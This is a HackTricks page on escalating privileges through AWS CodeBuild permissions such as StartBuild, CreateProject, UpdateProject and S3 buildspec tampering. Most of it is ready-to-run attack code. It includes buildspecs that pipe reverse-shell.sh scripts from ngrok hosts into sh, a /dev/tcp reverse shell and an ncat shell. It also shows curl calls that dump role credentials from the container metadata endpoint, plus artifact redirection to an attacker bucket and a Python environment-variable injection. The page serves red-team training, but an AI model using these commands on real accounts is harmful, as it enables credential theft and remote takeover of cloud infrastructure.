AWS - Codebuild Privesc
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
codebuild
Get more info in:
codebuild:StartBuild | codebuild:StartBuildBatch
Only with one of these permissions it’s enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project:
cat > /tmp/buildspec.yml <<EOF
version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
Note: The difference between these two commands is that:
StartBuildtriggers a single build job using a specificbuildspec.yml.StartBuildBatchallows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel).
Potential Impact: Direct privesc to attached AWS Codebuild roles.
StartBuild Env Var Override
Even if you can’t modify the project (UpdateProject) and you can’t override the buildspec, codebuild:StartBuild still allows overriding env vars at build time via:
- CLI:
--environment-variables-override - API:
environmentVariablesOverride
If the build uses environment variables to control behavior (destination buckets, feature flags, proxy settings, logging, etc.), this can be enough to exfiltrate secrets the build role can access or to get code execution inside the build.
Example 1: Redirect Artifact/Upload Destination to Exfiltrate Secrets
If the build publishes an artifact to a bucket/path controlled by an env var (for example UPLOAD_BUCKET), override it to an attacker-controlled bucket:
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"
export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)
# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done
# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
Example 2: Python Startup Injection via PYTHONWARNINGS + BROWSER
If the build runs python3 (common in buildspecs), you can sometimes get code execution without touching the buildspec by abusing:
PYTHONWARNINGS: Python resolves the category field and will import dotted paths. Setting it to...:antigravity.x:...forces importing the stdlib moduleantigravity.antigravity: callswebbrowser.open(...).BROWSER: controls whatwebbrowserexecutes. On Linux it is:-separated. Using#%smakes the URL argument a shell comment.
This can be used to print the CodeBuild role credentials (from http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) into CloudWatch logs, then recover them if you have log read permissions.
Expandable: StartBuild JSON request for the PYTHONWARNINGS + BROWSER trick
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
An attacker with the iam:PassRole, codebuild:CreateProject, and codebuild:StartBuild or codebuild:StartBuildBatch permissions would be able to escalate privileges to any codebuild IAM role by creating a running one.
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
REV_PATH="/tmp/rev.json"
printf "$JSON" > $REV_PATH
# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
# Build it
aws codebuild start-build --project-name codebuild-demo-project
# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output
# Delete the project
aws codebuild delete-project --name codebuild-demo-project
Potential Impact: Direct privesc to any AWS Codebuild role.
Warning
In a Codebuild container the file
/codebuild/output/tmp/env.shcontains all the env vars needed to access the metadata credentials.
This file contains the env variable
AWS_CONTAINER_CREDENTIALS_RELATIVE_URIwhich contains the URL path to access the credentials. It will be something like this/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
Add that to the URL
http://169.254.170.2/and you will be able to dump the role credentials.
Moreover, it also contains the env variable
ECS_CONTAINER_METADATA_URIwhich contains the complete URL to get metadata info about the container.
iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
printf "$JSON" > $REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Potential Impact: Direct privesc to any AWS Codebuild role.
codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Like in the previous section but without the iam:PassRole permission, you can abuse this permissions to modify existing Codebuild projects and access the role they already have assigned.
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Potential Impact: Direct privesc to attached AWS Codebuild roles.
SSM
Having enough permissions to start a ssm session it’s possible to get inside a Codebuild project being built.
The codebuild project will need to have a breakpoint:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
And then:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
For more info check the docs.
(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject
An attacker able to start/restart a build of a specific CodeBuild project which stores its buildspec.yml file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process.
Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker.
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
vim ./buildspec.yml
# Add the following lines in the "phases > pre_builds > commands" section
#
# - apt-get install nmap -y
# - ncat <IP> <PORT> -e /bin/sh
aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
You can use something like this buildspec to get a reverse shell:
version: 0.2
phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
Impact: Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges.
Warning
Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the
buildspec.ymlfrom the root directory, zip again and upload
More details could be found here.
Potential Impact: Direct privesc to attached AWS Codebuild roles.
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


